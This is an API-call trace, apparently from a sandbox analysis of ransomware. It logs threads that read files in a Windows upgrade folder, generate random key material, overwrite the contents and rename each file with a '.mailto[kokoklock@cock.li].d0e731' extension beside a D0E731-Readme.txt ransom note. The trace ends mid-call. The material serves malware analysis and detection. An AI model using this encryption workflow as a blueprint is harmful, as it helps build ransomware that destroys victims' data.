RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.401] WriteFile (in: hFile=0x9f0, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1e13fbd0, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e13fbd0*=0x4096, lpOverlapped=0x0) returned 1 [0076.401] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.401] SetFilePointerEx (in: hFile=0x9f0, liDistanceToMove=0x11daf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.401] WriteFile (in: hFile=0x9f0, lpBuffer=0x3479688*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e13fc08, lpOverlapped=0x0 | out: lpBuffer=0x3479688*, lpNumberOfBytesWritten=0x1e13fc08*=0x20, lpOverlapped=0x0) returned 1 [0076.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.402] WriteFile (in: hFile=0x9f0, lpBuffer=0x3479818*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e13fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3479818*, lpNumberOfBytesWritten=0x1e13fc1c*=0x8, lpOverlapped=0x0) returned 1 [0076.402] WriteFile (in: hFile=0x9f0, lpBuffer=0x1e13fc34*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e13fc1c, lpOverlapped=0x0 | out: lpBuffer=0x1e13fc34*, lpNumberOfBytesWritten=0x1e13fc1c*=0x4, lpOverlapped=0x0) returned 1 [0076.402] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e13fc1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e13fc1c*=0x4, lpOverlapped=0x0) returned 1 [0076.402] WriteFile (in: hFile=0x9f0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e13fc1c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e13fc1c*=0x6c, lpOverlapped=0x0) returned 1 [0076.402] WriteFile (in: hFile=0x9f0, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e13fc1c, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1e13fc1c*=0x20, lpOverlapped=0x0) returned 1 [0076.402] WriteFile (in: hFile=0x9f0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e13fc1c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e13fc1c*=0x4, lpOverlapped=0x0) returned 1 [0076.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479570) returned 1 [0076.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797f0) returned 1 [0076.402] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479818) returned 1 [0076.402] CloseHandle (hObject=0x9f0) returned 1 [0076.402] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa4) returned 0x33f10f0 [0076.402] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" [0076.402] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" [0076.402] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.403] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.403] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt", dwFileAttributes=0x20) returned 0 [0076.403] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479ad8 [0076.403] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\amd64\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0076.403] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" [0076.403] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\d0e731-readme.txt")) returned 0x20 [0076.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.403] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347de70) returned 1 [0076.404] RtlExitUserThread (Status=0x1) Thread: id = 808 os_tid = 0x1118 [0076.399] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt")) returned 0x20 [0076.400] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt", dwFileAttributes=0x20) returned 1 [0076.405] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f4 [0076.405] GetFileSizeEx (in: hFile=0x9f4, lpFileSize=0x1e1bfcc0 | out: lpFileSize=0x1e1bfcc0*=2317) returned 1 [0076.405] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x909, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.405] ReadFile (in: hFile=0x9f4, lpBuffer=0x1e1bfc94, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e1bfc90, lpOverlapped=0x0 | out: lpBuffer=0x1e1bfc94*, lpNumberOfBytesRead=0x1e1bfc90*=0x4, lpOverlapped=0x0) returned 1 [0076.406] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797f0 [0076.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479818 [0076.406] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.406] NtQuerySystemTime (in: CurrentTime=0x1e1bfc6c | out: CurrentTime=0x1e1bfc6c*=132121176343003260) returned 0x0 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x647e0ebf [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xa7fd29e0 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x9d0c862 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x4ed307dc [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x53b93929 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x6dbe0bdd [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x6a9a2a89 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x712dd8fc [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x53f038e7 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x6a52b031 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x52859fd8 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x2f555eb1 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x469f7da2 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x22b088ec [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xbae915ae [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xb051b18a [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x5154198e [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x9d320143 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x92262ecb [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x9795fb4 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x372acdda [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x26077999 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xa9837c4d [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xa15fdcc3 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x1fc8f5d8 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xa102a624 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xe8c545e2 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x8cb83d93 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x60f9cb5d [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xfbcb329c [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0xccbb8426 [0076.407] RtlRandom (in: Seed=0x1e1bfc78 | out: Seed=0x1e1bfc78) returned 0x68475517 [0076.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.418] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797f0) returned 1 [0076.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.418] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797f0 [0076.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797f0) returned 1 [0076.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.419] ReadFile (in: hFile=0x9f4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x90d, lpNumberOfBytesRead=0x1e1bfc6c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e1bfc6c*=0x90d, lpOverlapped=0x0) returned 1 [0076.419] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e1bfc34 | out: lpNewFilePointer=0x0) returned 1 [0076.419] WriteFile (in: hFile=0x9f4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x90d, lpNumberOfBytesWritten=0x1e1bfc68, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e1bfc68*=0x90d, lpOverlapped=0x0) returned 1 [0076.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34797f0 [0076.419] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0076.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478e90) returned 1 [0076.419] WriteFile (in: hFile=0x9f4, lpBuffer=0x34797f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e1bfc64, lpOverlapped=0x0 | out: lpBuffer=0x34797f0*, lpNumberOfBytesWritten=0x1e1bfc64*=0x20, lpOverlapped=0x0) returned 1 [0076.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34797f0) returned 1 [0076.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.419] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.419] WriteFile (in: hFile=0x9f4, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e1bfc90, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1e1bfc90*=0x8, lpOverlapped=0x0) returned 1 [0076.419] WriteFile (in: hFile=0x9f4, lpBuffer=0x1e1bfca8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e1bfc90, lpOverlapped=0x0 | out: lpBuffer=0x1e1bfca8*, lpNumberOfBytesWritten=0x1e1bfc90*=0x4, lpOverlapped=0x0) returned 1 [0076.420] WriteFile (in: hFile=0x9f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e1bfc90, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e1bfc90*=0x4, lpOverlapped=0x0) returned 1 [0076.420] WriteFile (in: hFile=0x9f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e1bfc90, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e1bfc90*=0x6c, lpOverlapped=0x0) returned 1 [0076.420] WriteFile (in: hFile=0x9f4, lpBuffer=0x3479818*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e1bfc90, lpOverlapped=0x0 | out: lpBuffer=0x3479818*, lpNumberOfBytesWritten=0x1e1bfc90*=0x20, lpOverlapped=0x0) returned 1 [0076.420] WriteFile (in: hFile=0x9f4, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e1bfc90, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1e1bfc90*=0x4, lpOverlapped=0x0) returned 1 [0076.420] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479818) returned 1 [0076.420] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.420] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.420] CloseHandle (hObject=0x9f4) returned 1 [0076.420] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa6) returned 0x33f10f0 [0076.420] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" [0076.420] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" [0076.420] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt"), lpNewFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.421] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.421] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt", dwFileAttributes=0x20) returned 0 [0076.421] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x6e) returned 0x3479ad8 [0076.421] wcscpy (in: _Dest=0x3479ad8, _Source="C:\\Windows10Upgrade\\resources\\amd64\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0076.421] wcscat (in: _Dest=0x3479ad8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" [0076.421] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\amd64\\d0e731-readme.txt")) returned 0x20 [0076.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479ad8) returned 1 [0076.421] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347daf0) returned 1 [0076.421] RtlExitUserThread (Status=0x1) Thread: id = 809 os_tid = 0x111c [0076.424] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat")) returned 0x20 [0076.424] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat", dwFileAttributes=0x20) returned 1 [0076.425] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" (normalized: "c:\\windows10upgrade\\resources\\amd64\\nxquery.cat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9f4 [0076.425] GetFileSizeEx (in: hFile=0x9f4, lpFileSize=0x1e23f784 | out: lpFileSize=0x1e23f784*=9910) returned 1 [0076.425] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x26b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.425] ReadFile (in: hFile=0x9f4, lpBuffer=0x1e23f758, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e23f754, lpOverlapped=0x0 | out: lpBuffer=0x1e23f758*, lpNumberOfBytesRead=0x1e23f754*=0x4, lpOverlapped=0x0) returned 1 [0076.426] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.426] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c60 [0076.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.427] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478e90 [0076.427] NtQuerySystemTime (in: CurrentTime=0x1e23f730 | out: CurrentTime=0x1e23f730*=132121176343159134) returned 0x0 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x3435b7d9 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x6247d80c [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xd12ead32 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x9390d542 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xc1aca301 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xc1134578 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xe256aac0 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x38d019ff [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x77d85a85 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xb7293841 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x73123b06 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x20088427 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xc5a4b570 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xbffc5b9e [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x12fdc75 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x7b231b2a [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x1b5c858f [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xb9a0ed08 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xaef6f916 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x88fa77c [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xa39ad7e3 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x41cf0cc1 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x39009c98 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x47a9f936 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x74628f1a [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x441bb0d [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x8da4f30d [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x7765f3d [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x8b70c704 [0076.427] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x5b4a88bb [0076.428] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0x9b1d5ad9 [0076.428] RtlRandom (in: Seed=0x1e23f73c | out: Seed=0x1e23f73c) returned 0xdfd9e244 [0076.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c60 [0076.439] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.439] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.439] ReadFile (in: hFile=0x9f4, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0x26b6, lpNumberOfBytesRead=0x1e23f730, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1e23f730*=0x26b6, lpOverlapped=0x0) returned 1 [0076.440] SetFilePointerEx (in: hFile=0x9f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1e23f6f8 | out: lpNewFilePointer=0x0) returned 1 [0076.440] WriteFile (in: hFile=0x9f4, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0x26b6, lpNumberOfBytesWritten=0x1e23f72c, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1e23f72c*=0x26b6, lpOverlapped=0x0) returned 1 [0076.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c60 [0076.440] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3479688 [0076.440] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479688) returned 1 [0076.440] WriteFile (in: hFile=0x9f4, lpBuffer=0x3478c60*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1e23f728, lpOverlapped=0x0 | out: lpBuffer=0x3478c60*, lpNumberOfBytesWritten=0x1e23f728*=0x20, lpOverlapped=0x0) returned 1 [0076.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c60) returned 1 [0076.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.441] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.441] WriteFile (in: hFile=0x9f4, lpBuffer=0x3479570*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1e23f754, lpOverlapped=0x0 | out: lpBuffer=0x3479570*, lpNumberOfBytesWritten=0x1e23f754*=0x8, lpOverlapped=0x0) returned 1 [0076.441] WriteFile (in: hFile=0x9f4, lpBuffer=0x1e23f76c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e23f754, lpOverlapped=0x0 | out: lpBuffer=0x1e23f76c*, lpNumberOfBytesWritten=0x1e23f754*=0x4, lpOverlapped=0x0) returned 1 [0076.441] WriteFile (in: hFile=0x9f4, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1e23f754, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1e23f754*=0x4, lpOverlapped=0x0) returned 1 [0076.441] WriteFile (in: hFile=0x9f4, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1e23f754, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1e23f754*=0x6c, lpOverlapped=0x0) returned 1 [0076.441] WriteFile (in: hFile=0x9f4, 